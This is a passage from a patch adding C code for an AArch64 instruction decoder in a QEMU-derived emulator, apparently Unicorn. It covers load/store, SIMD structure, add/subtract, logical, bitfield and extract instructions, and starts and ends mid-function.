tcg_addr, imm9); + } + tcg_gen_mov_i64(tcg_ctx, tcg_rn, tcg_addr); + } +} + +/* + * C3.3.10 Load/store (register offset) + * + * 31 30 29 27 26 25 24 23 22 21 20 16 15 13 12 11 10 9 5 4 0 + * +----+-------+---+-----+-----+---+------+-----+--+-----+----+----+ + * |size| 1 1 1 | V | 0 0 | opc | 1 | Rm | opt | S| 1 0 | Rn | Rt | + * +----+-------+---+-----+-----+---+------+-----+--+-----+----+----+ + * + * For non-vector: + * size: 00-> byte, 01 -> 16 bit, 10 -> 32bit, 11 -> 64bit + * opc: 00 -> store, 01 -> loadu, 10 -> loads 64, 11 -> loads 32 + * For vector: + * size is opc<1>:size<1:0> so 100 -> 128 bit; 110 and 111 unallocated + * opc<0>: 0 -> store, 1 -> load + * V: 1 -> vector/simd + * opt: extend encoding (see DecodeRegExtend) + * S: if S=1 then scale (essentially index by sizeof(size)) + * Rt: register to transfer into/out of + * Rn: address register or SP for base + * Rm: offset register or ZR for offset + */ +static void disas_ldst_reg_roffset(DisasContext *s, uint32_t insn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int rt = extract32(insn, 0, 5); + int rn = extract32(insn, 5, 5); + int shift = extract32(insn, 12, 1); + int rm = extract32(insn, 16, 5); + int opc = extract32(insn, 22, 2); + int opt = extract32(insn, 13, 3); + int size = extract32(insn, 30, 2); + bool is_signed = false; + bool is_store = false; + bool is_extended = false; + bool is_vector = extract32(insn, 26, 1); + + TCGv_i64 tcg_rm; + TCGv_i64 tcg_addr; + + if (extract32(opt, 1, 1) == 0) { + unallocated_encoding(s); + return; + } + + if (is_vector) { + size |= (opc & 2) << 1; + if (size > 4) { + unallocated_encoding(s); + return; + } + is_store = !extract32(opc, 0, 1); + if (!fp_access_check(s)) { + return; + } + } else { + if (size == 3 && opc == 2) { + /* PRFM - prefetch */ + return; + } + if (opc == 3 && size > 1) { + unallocated_encoding(s); + return; + } + is_store = (opc == 0); + is_signed = extract32(opc, 1, 1); + is_extended = (size < 3) && extract32(opc, 0, 1); + } + + if (rn == 31) { + gen_check_sp_alignment(s); + } + tcg_addr = read_cpu_reg_sp(s, rn, 1); + + tcg_rm = read_cpu_reg(s, rm, 1); + ext_and_shift_reg(tcg_ctx, tcg_rm, tcg_rm, opt, shift ? size : 0); + + tcg_gen_add_i64(tcg_ctx, tcg_addr, tcg_addr, tcg_rm); + + if (is_vector) { + if (is_store) { + do_fp_st(s, rt, tcg_addr, size); + } else { + do_fp_ld(s, rt, tcg_addr, size); + } + } else { + TCGv_i64 tcg_rt = cpu_reg(s, rt); + if (is_store) { + do_gpr_st(s, tcg_rt, tcg_addr, size); + } else { + do_gpr_ld(s, tcg_rt, tcg_addr, size, is_signed, is_extended); + } + } +} + +/* + * C3.3.13 Load/store (unsigned immediate) + * + * 31 30 29 27 26 25 24 23 22 21 10 9 5 + * +----+-------+---+-----+-----+------------+-------+------+ + * |size| 1 1 1 | V | 0 1 | opc | imm12 | Rn | Rt | + * +----+-------+---+-----+-----+------------+-------+------+ + * + * For non-vector: + * size: 00-> byte, 01 -> 16 bit, 10 -> 32bit, 11 -> 64bit + * opc: 00 -> store, 01 -> loadu, 10 -> loads 64, 11 -> loads 32 + * For vector: + * size is opc<1>:size<1:0> so 100 -> 128 bit; 110 and 111 unallocated + * opc<0>: 0 -> store, 1 -> load + * Rn: base address register (inc SP) + * Rt: target register + */ +static void disas_ldst_reg_unsigned_imm(DisasContext *s, uint32_t insn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int rt = extract32(insn, 0, 5); + int rn = extract32(insn, 5, 5); + unsigned int imm12 = extract32(insn, 10, 12); + bool is_vector = extract32(insn, 26, 1); + int size = extract32(insn, 30, 2); + int opc = extract32(insn, 22, 2); + unsigned int offset; + + TCGv_i64 tcg_addr; + + bool is_store; + bool is_signed = false; + bool is_extended = false; + + if (is_vector) { + size |= (opc & 2) << 1; + if (size > 4) { + unallocated_encoding(s); + return; + } + is_store = !extract32(opc, 0, 1); + if (!fp_access_check(s)) { + return; + } + } else { + if (size == 3 && opc == 2) { + /* PRFM - prefetch */ + return; + } + if (opc == 3 && size > 1) { + unallocated_encoding(s); + return; + } + is_store = (opc == 0); + is_signed = extract32(opc, 1, 1); + is_extended = (size < 3) && extract32(opc, 0, 1); + } + + if (rn == 31) { + gen_check_sp_alignment(s); + } + tcg_addr = read_cpu_reg_sp(s, rn, 1); + offset = imm12 << size; + tcg_gen_addi_i64(tcg_ctx, tcg_addr, tcg_addr, offset); + + if (is_vector) { + if (is_store) { + do_fp_st(s, rt, tcg_addr, size); + } else { + do_fp_ld(s, rt, tcg_addr, size); + } + } else { + TCGv_i64 tcg_rt = cpu_reg(s, rt); + if (is_store) { + do_gpr_st(s, tcg_rt, tcg_addr, size); + } else { + do_gpr_ld(s, tcg_rt, tcg_addr, size, is_signed, is_extended); + } + } +} + +/* Load/store register (all forms) */ +static void disas_ldst_reg(DisasContext *s, uint32_t insn) +{ + switch (extract32(insn, 24, 2)) { + case 0: + if (extract32(insn, 21, 1) == 1 && extract32(insn, 10, 2) == 2) { + disas_ldst_reg_roffset(s, insn); + } else { + /* Load/store register (unscaled immediate) + * Load/store immediate pre/post-indexed + * Load/store register unprivileged + */ + disas_ldst_reg_imm9(s, insn); + } + break; + case 1: + disas_ldst_reg_unsigned_imm(s, insn); + break; + default: + unallocated_encoding(s); + break; + } +} + +/* C3.3.1 AdvSIMD load/store multiple structures + * + * 31 30 29 23 22 21 16 15 12 11 10 9 5 4 0 + * +---+---+---------------+---+-------------+--------+------+------+------+ + * | 0 | Q | 0 0 1 1 0 0 0 | L | 0 0 0 0 0 0 | opcode | size | Rn | Rt | + * +---+---+---------------+---+-------------+--------+------+------+------+ + * + * C3.3.2 AdvSIMD load/store multiple structures (post-indexed) + * + * 31 30 29 23 22 21 20 16 15 12 11 10 9 5 4 0 + * +---+---+---------------+---+---+---------+--------+------+------+------+ + * | 0 | Q | 0 0 1 1 0 0 1 | L | 0 | Rm | opcode | size | Rn | Rt | + * +---+---+---------------+---+---+---------+--------+------+------+------+ + * + * Rt: first (or only) SIMD&FP register to be transferred + * Rn: base address or SP + * Rm (post-index only): post-index register (when !31) or size dependent #imm + */ +static void disas_ldst_multiple_struct(DisasContext *s, uint32_t insn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int rt = extract32(insn, 0, 5); + int rn = extract32(insn, 5, 5); + int size = extract32(insn, 10, 2); + int opcode = extract32(insn, 12, 4); + bool is_store = !extract32(insn, 22, 1); + bool is_postidx = extract32(insn, 23, 1); + bool is_q = extract32(insn, 30, 1); + TCGv_i64 tcg_addr, tcg_rn; + + int ebytes = 1 << size; + int elements = (is_q ? 128 : 64) / (8 << size); + int rpt; /* num iterations */ + int selem; /* structure elements */ + int r; + + if (extract32(insn, 31, 1) || extract32(insn, 21, 1)) { + unallocated_encoding(s); + return; + } + + /* From the shared decode logic */ + switch (opcode) { + case 0x0: + rpt = 1; + selem = 4; + break; + case 0x2: + rpt = 4; + selem = 1; + break; + case 0x4: + rpt = 1; + selem = 3; + break; + case 0x6: + rpt = 3; + selem = 1; + break; + case 0x7: + rpt = 1; + selem = 1; + break; + case 0x8: + rpt = 1; + selem = 2; + break; + case 0xa: + rpt = 2; + selem = 1; + break; + default: + unallocated_encoding(s); + return; + } + + if (size == 3 && !is_q && selem != 1) { + /* reserved */ + unallocated_encoding(s); + return; + } + + if (!fp_access_check(s)) { + return; + } + + if (rn == 31) { + gen_check_sp_alignment(s); + } + + tcg_rn = cpu_reg_sp(s, rn); + tcg_addr = tcg_temp_new_i64(tcg_ctx); + tcg_gen_mov_i64(tcg_ctx, tcg_addr, tcg_rn); + + for (r = 0; r < rpt; r++) { + int e; + for (e = 0; e < elements; e++) { + int tt = (rt + r) % 32; + int xs; + for (xs = 0; xs < selem; xs++) { + if (is_store) { + do_vec_st(s, tt, e, tcg_addr, size); + } else { + do_vec_ld(s, tt, e, tcg_addr, size); + + /* For non-quad operations, setting a slice of the low + * 64 bits of the register clears the high 64 bits (in + * the ARM ARM pseudocode this is implicit in the fact + * that 'rval' is a 64 bit wide variable). We optimize + * by noticing that we only need to do this the first + * time we touch a register. + */ + if (!is_q && e == 0 && (r == 0 || xs == selem - 1)) { + clear_vec_high(s, tt); + } + } + tcg_gen_addi_i64(tcg_ctx, tcg_addr, tcg_addr, ebytes); + tt = (tt + 1) % 32; + } + } + } + + if (is_postidx) { + int rm = extract32(insn, 16, 5); + if (rm == 31) { + tcg_gen_mov_i64(tcg_ctx, tcg_rn, tcg_addr); + } else { + tcg_gen_add_i64(tcg_ctx, tcg_rn, tcg_rn, cpu_reg(s, rm)); + } + } + tcg_temp_free_i64(tcg_ctx, tcg_addr); +} + +/* C3.3.3 AdvSIMD load/store single structure + * + * 31 30 29 23 22 21 20 16 15 13 12 11 10 9 5 4 0 + * +---+---+---------------+-----+-----------+-----+---+------+------+------+ + * | 0 | Q | 0 0 1 1 0 1 0 | L R | 0 0 0 0 0 | opc | S | size | Rn | Rt | + * +---+---+---------------+-----+-----------+-----+---+------+------+------+ + * + * C3.3.4 AdvSIMD load/store single structure (post-indexed) + * + * 31 30 29 23 22 21 20 16 15 13 12 11 10 9 5 4 0 + * +---+---+---------------+-----+-----------+-----+---+------+------+------+ + * | 0 | Q | 0 0 1 1 0 1 1 | L R | Rm | opc | S | size | Rn | Rt | + * +---+---+---------------+-----+-----------+-----+---+------+------+------+ + * + * Rt: first (or only) SIMD&FP register to be transferred + * Rn: base address or SP + * Rm (post-index only): post-index register (when !31) or size dependent #imm + * index = encoded in Q:S:size dependent on size + * + * lane_size = encoded in R, opc + * transfer width = encoded in opc, S, size + */ +static void disas_ldst_single_struct(DisasContext *s, uint32_t insn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int rt = extract32(insn, 0, 5); + int rn = extract32(insn, 5, 5); + int size = extract32(insn, 10, 2); + int S = extract32(insn, 12, 1); + int opc = extract32(insn, 13, 3); + int R = extract32(insn, 21, 1); + int is_load = extract32(insn, 22, 1); + int is_postidx = extract32(insn, 23, 1); + int is_q = extract32(insn, 30, 1); + + int scale = extract32(opc, 1, 2); + int selem = (extract32(opc, 0, 1) << 1 | R) + 1; + bool replicate = false; + int index = is_q << 3 | S << 2 | size; + int ebytes, xs; + TCGv_i64 tcg_addr, tcg_rn; + + switch (scale) { + case 3: + if (!is_load || S) { + unallocated_encoding(s); + return; + } + scale = size; + replicate = true; + break; + case 0: + break; + case 1: + if (extract32(size, 0, 1)) { + unallocated_encoding(s); + return; + } + index >>= 1; + break; + case 2: + if (extract32(size, 1, 1)) { + unallocated_encoding(s); + return; + } + if (!extract32(size, 0, 1)) { + index >>= 2; + } else { + if (S) { + unallocated_encoding(s); + return; + } + index >>= 3; + scale = 3; + } + break; + default: + g_assert_not_reached(); + } + + if (!fp_access_check(s)) { + return; + } + + ebytes = 1 << scale; + + if (rn == 31) { + gen_check_sp_alignment(s); + } + + tcg_rn = cpu_reg_sp(s, rn); + tcg_addr = tcg_temp_new_i64(tcg_ctx); + tcg_gen_mov_i64(tcg_ctx, tcg_addr, tcg_rn); + + for (xs = 0; xs < selem; xs++) { + if (replicate) { + /* Load and replicate to all elements */ + uint64_t mulconst; + TCGv_i64 tcg_tmp = tcg_temp_new_i64(tcg_ctx); + + tcg_gen_qemu_ld_i64(s->uc, tcg_tmp, tcg_addr, + get_mem_index(s), MO_TE + scale); + switch (scale) { + case 0: + mulconst = 0x0101010101010101ULL; + break; + case 1: + mulconst = 0x0001000100010001ULL; + break; + case 2: + mulconst = 0x0000000100000001ULL; + break; + case 3: + mulconst = 0; + break; + default: + g_assert_not_reached(); + } + if (mulconst) { + tcg_gen_muli_i64(tcg_ctx, tcg_tmp, tcg_tmp, mulconst); + } + write_vec_element(s, tcg_tmp, rt, 0, MO_64); + if (is_q) { + write_vec_element(s, tcg_tmp, rt, 1, MO_64); + } else { + clear_vec_high(s, rt); + } + tcg_temp_free_i64(tcg_ctx, tcg_tmp); + } else { + /* Load/store one element per register */ + if (is_load) { + do_vec_ld(s, rt, index, tcg_addr, MO_TE + scale); + } else { + do_vec_st(s, rt, index, tcg_addr, MO_TE + scale); + } + } + tcg_gen_addi_i64(tcg_ctx, tcg_addr, tcg_addr, ebytes); + rt = (rt + 1) % 32; + } + + if (is_postidx) { + int rm = extract32(insn, 16, 5); + if (rm == 31) { + tcg_gen_mov_i64(tcg_ctx, tcg_rn, tcg_addr); + } else { + tcg_gen_add_i64(tcg_ctx, tcg_rn, tcg_rn, cpu_reg(s, rm)); + } + } + tcg_temp_free_i64(tcg_ctx, tcg_addr); +} + +/* C3.3 Loads and stores */ +static void disas_ldst(DisasContext *s, uint32_t insn) +{ + switch (extract32(insn, 24, 6)) { + case 0x08: /* Load/store exclusive */ + disas_ldst_excl(s, insn); + break; + case 0x18: case 0x1c: /* Load register (literal) */ + disas_ld_lit(s, insn); + break; + case 0x28: case 0x29: + case 0x2c: case 0x2d: /* Load/store pair (all forms) */ + disas_ldst_pair(s, insn); + break; + case 0x38: case 0x39: + case 0x3c: case 0x3d: /* Load/store register (all forms) */ + disas_ldst_reg(s, insn); + break; + case 0x0c: /* AdvSIMD load/store multiple structures */ + disas_ldst_multiple_struct(s, insn); + break; + case 0x0d: /* AdvSIMD load/store single structure */ + disas_ldst_single_struct(s, insn); + break; + default: + unallocated_encoding(s); + break; + } +} + +/* C3.4.6 PC-rel. addressing + * 31 30 29 28 24 23 5 4 0 + * +----+-------+-----------+-------------------+------+ + * | op | immlo | 1 0 0 0 0 | immhi | Rd | + * +----+-------+-----------+-------------------+------+ + */ +static void disas_pc_rel_adr(DisasContext *s, uint32_t insn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + unsigned int page, rd; + uint64_t base; + int64_t offset; + + page = extract32(insn, 31, 1); + /* SignExtend(immhi:immlo) -> offset */ + offset = (int64_t)((uint64_t)sextract32(insn, 5, 19) << 2) | extract32(insn, 29, 2); + rd = extract32(insn, 0, 5); + base = s->pc - 4; + + if (page) { + /* ADRP (page based) */ + base &= ~0xfff; + offset = ((uint64_t)offset) << 12; + } + + tcg_gen_movi_i64(tcg_ctx, cpu_reg(s, rd), base + offset); +} + +/* + * C3.4.1 Add/subtract (immediate) + * + * 31 30 29 28 24 23 22 21 10 9 5 4 0 + * +--+--+--+-----------+-----+-------------+-----+-----+ + * |sf|op| S| 1 0 0 0 1 |shift| imm12 | Rn | Rd | + * +--+--+--+-----------+-----+-------------+-----+-----+ + * + * sf: 0 -> 32bit, 1 -> 64bit + * op: 0 -> add , 1 -> sub + * S: 1 -> set flags + * shift: 00 -> LSL imm by 0, 01 -> LSL imm by 12 + */ +static void disas_add_sub_imm(DisasContext *s, uint32_t insn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int rd = extract32(insn, 0, 5); + int rn = extract32(insn, 5, 5); + uint64_t imm = extract32(insn, 10, 12); + int shift = extract32(insn, 22, 2); + bool setflags = extract32(insn, 29, 1); + bool sub_op = extract32(insn, 30, 1); + bool is_64bit = extract32(insn, 31, 1); + + TCGv_i64 tcg_rn = cpu_reg_sp(s, rn); + TCGv_i64 tcg_rd = setflags ? cpu_reg(s, rd) : cpu_reg_sp(s, rd); + TCGv_i64 tcg_result; + + switch (shift) { + case 0x0: + break; + case 0x1: + imm <<= 12; + break; + default: + unallocated_encoding(s); + return; + } + + tcg_result = tcg_temp_new_i64(tcg_ctx); + if (!setflags) { + if (sub_op) { + tcg_gen_subi_i64(tcg_ctx, tcg_result, tcg_rn, imm); + } else { + tcg_gen_addi_i64(tcg_ctx, tcg_result, tcg_rn, imm); + } + } else { + TCGv_i64 tcg_imm = tcg_const_i64(tcg_ctx, imm); + if (sub_op) { + gen_sub_CC(s, is_64bit, tcg_result, tcg_rn, tcg_imm); + } else { + gen_add_CC(s, is_64bit, tcg_result, tcg_rn, tcg_imm); + } + tcg_temp_free_i64(tcg_ctx, tcg_imm); + } + + if (is_64bit) { + tcg_gen_mov_i64(tcg_ctx, tcg_rd, tcg_result); + } else { + tcg_gen_ext32u_i64(tcg_ctx, tcg_rd, tcg_result); + } + + tcg_temp_free_i64(tcg_ctx, tcg_result); +} + +/* The input should be a value in the bottom e bits (with higher + * bits zero); returns that value replicated into every element + * of size e in a 64 bit integer. + */ +static uint64_t bitfield_replicate(uint64_t mask, unsigned int e) +{ + assert(e != 0); + while (e < 64) { + mask |= mask << e; + e *= 2; + } + return mask; +} + +/* Return a value with the bottom len bits set (where 0 < len <= 64) */ +static inline uint64_t bitmask64(unsigned int length) +{ + assert(length > 0 && length <= 64); + return ~0ULL >> (64 - length); +} + +/* Simplified variant of pseudocode DecodeBitMasks() for the case where we + * only require the wmask. Returns false if the imms/immr/immn are a reserved + * value (ie should cause a guest UNDEF exception), and true if they are + * valid, in which case the decoded bit pattern is written to result. + */ +static bool logic_imm_decode_wmask(uint64_t *result, unsigned int immn, + unsigned int imms, unsigned int immr) +{ + uint64_t mask; + unsigned e, levels, s, r; + int len; + + assert(immn < 2 && imms < 64 && immr < 64); + + /* The bit patterns we create here are 64 bit patterns which + * are vectors of identical elements of size e = 2, 4, 8, 16, 32 or + * 64 bits each. Each element contains the same value: a run + * of between 1 and e-1 non-zero bits, rotated within the + * element by between 0 and e-1 bits. + * + * The element size and run length are encoded into immn (1 bit) + * and imms (6 bits) as follows: + * 64 bit elements: immn = 1, imms = + * 32 bit elements: immn = 0, imms = 0 : + * 16 bit elements: immn = 0, imms = 10 : + * 8 bit elements: immn = 0, imms = 110 : + * 4 bit elements: immn = 0, imms = 1110 : + * 2 bit elements: immn = 0, imms = 11110 : + * Notice that immn = 0, imms = 11111x is the only combination + * not covered by one of the above options; this is reserved. + * Further, all-ones is a reserved pattern. + * + * In all cases the rotation is by immr % e (and immr is 6 bits). + */ + + /* First determine the element size */ + len = 31 - clz32((immn << 6) | (~imms & 0x3f)); + if (len < 1) { + /* This is the immn == 0, imms == 0x11111x case */ + return false; + } + e = 1 << len; + + levels = e - 1; + s = imms & levels; + r = immr & levels; + + if (s == levels) { + /* mustn't be all-ones. */ + return false; + } + + /* Create the value of one element: s+1 set bits rotated + * by r within the element (which is e bits wide)... + */ + mask = bitmask64(s + 1); + mask = (mask >> r) | (mask << ((e - r) & 0x3f) ); + /* ...then replicate the element over the whole 64 bit value */ + mask = bitfield_replicate(mask, e); + *result = mask; + return true; +} + +/* C3.4.4 Logical (immediate) + * 31 30 29 28 23 22 21 16 15 10 9 5 4 0 + * +----+-----+-------------+---+------+------+------+------+ + * | sf | opc | 1 0 0 1 0 0 | N | immr | imms | Rn | Rd | + * +----+-----+-------------+---+------+------+------+------+ + */ +static void disas_logic_imm(DisasContext *s, uint32_t insn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + unsigned int sf, opc, is_n, immr, imms, rn, rd; + TCGv_i64 tcg_rd, tcg_rn; + uint64_t wmask; + bool is_and = false; + + sf = extract32(insn, 31, 1); + opc = extract32(insn, 29, 2); + is_n = extract32(insn, 22, 1); + immr = extract32(insn, 16, 6); + imms = extract32(insn, 10, 6); + rn = extract32(insn, 5, 5); + rd = extract32(insn, 0, 5); + + if (!sf && is_n) { + unallocated_encoding(s); + return; + } + + if (opc == 0x3) { /* ANDS */ + tcg_rd = cpu_reg(s, rd); + } else { + tcg_rd = cpu_reg_sp(s, rd); + } + tcg_rn = cpu_reg(s, rn); + + if (!logic_imm_decode_wmask(&wmask, is_n, imms, immr)) { + /* some immediate field values are reserved */ + unallocated_encoding(s); + return; + } + + if (!sf) { + wmask &= 0xffffffff; + } + + switch (opc) { + case 0x3: /* ANDS */ + case 0x0: /* AND */ + tcg_gen_andi_i64(tcg_ctx, tcg_rd, tcg_rn, wmask); + is_and = true; + break; + case 0x1: /* ORR */ + tcg_gen_ori_i64(tcg_ctx, tcg_rd, tcg_rn, wmask); + break; + case 0x2: /* EOR */ + tcg_gen_xori_i64(tcg_ctx, tcg_rd, tcg_rn, wmask); + break; + default: + assert(FALSE); /* must handle all above */ + break; + } + + if (!sf && !is_and) { + /* zero extend final result; we know we can skip this for AND + * since the immediate had the high 32 bits clear. + */ + tcg_gen_ext32u_i64(tcg_ctx, tcg_rd, tcg_rd); + } + + if (opc == 3) { /* ANDS */ + gen_logic_CC(tcg_ctx, sf, tcg_rd); + } +} + +/* + * C3.4.5 Move wide (immediate) + * + * 31 30 29 28 23 22 21 20 5 4 0 + * +--+-----+-------------+-----+----------------+------+ + * |sf| opc | 1 0 0 1 0 1 | hw | imm16 | Rd | + * +--+-----+-------------+-----+----------------+------+ + * + * sf: 0 -> 32 bit, 1 -> 64 bit + * opc: 00 -> N, 10 -> Z, 11 -> K + * hw: shift/16 (0,16, and sf only 32, 48) + */ +static void disas_movw_imm(DisasContext *s, uint32_t insn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int rd = extract32(insn, 0, 5); + uint64_t imm = extract32(insn, 5, 16); + int sf = extract32(insn, 31, 1); + int opc = extract32(insn, 29, 2); + int pos = extract32(insn, 21, 2) << 4; + TCGv_i64 tcg_rd = cpu_reg(s, rd); + TCGv_i64 tcg_imm; + + if (!sf && (pos >= 32)) { + unallocated_encoding(s); + return; + } + + switch (opc) { + case 0: /* MOVN */ + case 2: /* MOVZ */ + imm <<= pos; + if (opc == 0) { + imm = ~imm; + } + if (!sf) { + imm &= 0xffffffffu; + } + tcg_gen_movi_i64(tcg_ctx, tcg_rd, imm); + break; + case 3: /* MOVK */ + tcg_imm = tcg_const_i64(tcg_ctx, imm); + tcg_gen_deposit_i64(tcg_ctx, tcg_rd, tcg_rd, tcg_imm, pos, 16); + tcg_temp_free_i64(tcg_ctx, tcg_imm); + if (!sf) { + tcg_gen_ext32u_i64(tcg_ctx, tcg_rd, tcg_rd); + } + break; + default: + unallocated_encoding(s); + break; + } +} + +/* C3.4.2 Bitfield + * 31 30 29 28 23 22 21 16 15 10 9 5 4 0 + * +----+-----+-------------+---+------+------+------+------+ + * | sf | opc | 1 0 0 1 1 0 | N | immr | imms | Rn | Rd | + * +----+-----+-------------+---+------+------+------+------+ + */ +static void disas_bitfield(DisasContext *s, uint32_t insn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + unsigned int sf, n, opc, ri, si, rn, rd, bitsize, pos, len; + TCGv_i64 tcg_rd, tcg_tmp; + + sf = extract32(insn, 31, 1); + opc = extract32(insn, 29, 2); + n = extract32(insn, 22, 1); + ri = extract32(insn, 16, 6); + si = extract32(insn, 10, 6); + rn = extract32(insn, 5, 5); + rd = extract32(insn, 0, 5); + bitsize = sf ? 64 : 32; + + if (sf != n || ri >= bitsize || si >= bitsize || opc > 2) { + unallocated_encoding(s); + return; + } + + tcg_rd = cpu_reg(s, rd); + tcg_tmp = read_cpu_reg(s, rn, sf); + + /* OPTME: probably worth recognizing common cases of ext{8,16,32}{u,s} */ + + if (opc != 1) { /* SBFM or UBFM */ + tcg_gen_movi_i64(tcg_ctx, tcg_rd, 0); + } + + /* do the bit move operation */ + if (si >= ri) { + /* Wd = Wn */ + tcg_gen_shri_i64(tcg_ctx, tcg_tmp, tcg_tmp, ri); + pos = 0; + len = (si - ri) + 1; + } else { + /* Wd<32+s-r,32-r> = Wn */ + pos = bitsize - ri; + len = si + 1; + } + + tcg_gen_deposit_i64(tcg_ctx, tcg_rd, tcg_rd, tcg_tmp, pos, len); + + if (opc == 0) { /* SBFM - sign extend the destination field */ + tcg_gen_shli_i64(tcg_ctx, tcg_rd, tcg_rd, 64 - (pos + len)); + tcg_gen_sari_i64(tcg_ctx, tcg_rd, tcg_rd, 64 - (pos + len)); + } + + if (!sf) { /* zero extend final result */ + tcg_gen_ext32u_i64(tcg_ctx, tcg_rd, tcg_rd); + } +} + +/* C3.4.3 Extract + * 31 30 29 28 23 22 21 20 16 15 10 9 5 4 0 + * +----+------+-------------+---+----+------+--------+------+------+ + * | sf | op21 | 1 0 0 1 1 1 | N | o0 | Rm | imms | Rn | Rd | + * +----+------+-------------+---+----+------+--------+------+------+ + */ +static void disas_extract(DisasContext *s, uint32_t insn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + unsigned int sf, n, rm, imm, rn, rd, bitsize, op21, op0; + + sf = extract32(insn, 31, 1); + n = extract32(insn, 22, 1); + rm = extract32(insn, 16, 5); + imm = extract32(insn, 10, 6); + rn = extract32(insn, 5, 5); + rd = extract32(insn, 0, 5); + op21 = extract32(insn, 29, 2); + op0 = extract32(insn, 21, 1); + bitsize = sf ? 64 : 32; + + if (sf != n || op21 || op0 || imm >= bitsize) { + unallocated_encoding(s); + } else { + TCGv_i64 tcg_rd, tcg_rm, tcg_rn; + + tcg_rd = cpu_reg(s, rd); + + if (imm) { + /* OPTME: we can special case rm==rn as a rotate */ + tcg_rm = read_cpu_reg(s, rm, sf); + tcg_rn = read_cpu_reg(s, rn, sf); + tcg_gen_shri_i64(tcg_ctx, tcg_rm, tcg_rm, imm); + tcg_gen_shli_i64(tcg_ctx, tcg_rn, tcg_rn, bitsize - imm); + tcg_gen_or_i64(tcg_ctx, tcg_rd, tcg_rm, tcg_rn); + if (!sf) { + tcg_gen_ext32u_i64(tcg_ctx, tcg_rd, tcg_rd); + } + } else { + /* tcg shl_i32/shl_i64 is undefined for 32/64 bit shifts, + * so an extract from bit 0 is a special case. + */ + if (sf) { + tcg_gen_mov_i64(tcg_ctx, tcg_rd, cpu_reg(s, rm)); + } else { + tcg_gen_ext32u_i64(tcg_ctx, tcg_rd, cpu_reg(s, rm)); + } + } + + } +} + +/* C3.4 Data processing - immediate */ +static void disas_data_proc_imm(DisasContext *s, uint32_t insn) +{ + switch (extract32(insn, 23, 6)) { + case 0x20: case 0x21: /* PC-rel. addressing */ + disas_pc_rel_adr(s, insn); + break; + case 0x22: case 0x23: /* Add/subtract (immediate) */ + disas_add_sub_imm(s, insn); + break; + case 0x24: /* Logical (immediate) */ + disas_logic_imm(s, insn); + break; + case 0x25: /* Move wide (immediate) */ + disas_movw_imm(s, insn); + break; + case 0x26: /* Bitfield */ + disas_bitfield(s, insn); + break; + case 0x27: /* Extract */ + disas_extract(s, insn); + break; + default: + unallocated_encoding(s); + break; + } +} + +/* Shift a TCGv src by TCGv shift_amount, put result in dst. + * Note that it is the caller's responsibility to ensure that the + * shift amount is in range (ie 0..31 or 0..63) and provide the ARM + * mandated semantics for out of range shifts. + */ +static void shift_reg(TCGContext *tcg_ctx, TCGv_i64 dst, TCGv_i64 src, int sf, + enum a64_shift_type shift_type, TCGv_i64 shift_amount) +{ + switch (shift_type) { + case A64_SHIFT_TYPE_LSL: + tcg_gen_shl_i64(tcg_ctx, dst, src, shift_amount); + break; + case A64_SHIFT_TYPE_LSR: + tcg_gen_shr_i64(tcg_ctx, dst, src, shift_amount); + break; + case A64_SHIFT_TYPE_ASR: + if (!sf) { + tcg_gen_ext32s_i64(tcg_ctx, dst, src); + } + tcg_gen_sar_i64(tcg_ctx, dst, sf ? src : dst, shift_amount); + break; + case A64_SHIFT_TYPE_ROR: + if (sf) { + tcg_gen_rotr_i64(tcg_ctx, dst, src, shift_amount); + } else { + TCGv_i32 t0, t1; + t0 = tcg_temp_new_i32(tcg_ctx); + t1 = tcg_temp_new_i32(tcg_ctx); + tcg_gen_trunc_i64_i32(tcg_ctx, t0, src); + tcg_gen_trunc_i64_i32(tcg_ctx, t1, shift_amount); + tcg_gen_rotr_i32(tcg_ctx, t0, t0, t1); + tcg_gen_extu_i32_i64(tcg_ctx, dst, t0); + tcg_temp_free_i32(tcg_ctx, t0); + tcg_temp_free_i32(tcg_ctx, t1); + } + break; + default: + assert(FALSE); /* all shift types should be handled */ + break; + } + + if (!sf) { /* zero extend final result */ + tcg_gen_ext32u_i64(tcg_ctx, dst, dst); + } +} + +/* Shift a TCGv src by immediate, put result in dst. + * The shift amount must be in range (this should always be true as the + * relevant instructions will UNDEF on bad shift immediates). + */ +static void shift_reg_imm(TCGContext *tcg_ctx, TCGv_i64 dst, TCGv_i64 src, int sf, + enum a64_shift_type shift_type, unsigned int shift_i) +{ + assert(shift_i < (sf ? 64 : 32)); + + if (shift_i == 0) { + tcg_gen_mov_i64(tcg_ctx, dst, src); + } else { + TCGv_i64 shift_const; + + shift_const = tcg_const_i64(tcg_ctx, shift_i); + shift_reg(tcg_ctx, dst, src, sf, shift_type, shift_const); + tcg_temp_free_i64(tcg_ctx, shift_const); + } +} + +/* C3.5.10 Logical (shifted register) + * 31 30 29 28 24 23 22 21 20 16 15 10 9 5 4 0 + * +----+-----+-----------+-------+---+------+--------+------+------+ + * | sf | opc | 0 1 0 1 0 | shift | N | Rm | imm6 | Rn | Rd | + * +----+-----+-----------+-------+---+------+--------+------+------+ + */ +static void disas_logic_reg(DisasContext *s, uint32_t insn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i64 tcg_rd, tcg_rn, tcg_rm; + unsigned int sf, opc, shift_type, invert, rm, shift_amount, rn, rd; + + sf = extract32(insn, 31, 1); + opc = extract32(insn, 29, 2); + shift_type = extract32(insn, 22, 2); + invert = extract32(insn, 21, 1); + rm = extract32(insn, 16, 5); + shift_amount = extract32(insn, 10, 6); + rn = extract32(insn, 5, 5); + rd = extract32(insn, 0, 5); + + if (!sf && (shift_amount & (1 << 5))) { + unallocated_encoding(s); + return; + } + + tcg_rd = cpu_reg(s, rd); + + if (opc == 1 && shift_amount == 0 && shift_type == 0 && rn == 31) { + /* Unshifted ORR and ORN with WZR/XZR is the standard encoding for + * register-register MOV and MVN, so it is worth special casing. + */ + tcg_rm = cpu_reg(s, rm); + if (invert) { + tcg_gen_not_i64(tcg_ctx, tcg_rd, tcg_rm); + if (!sf) { + 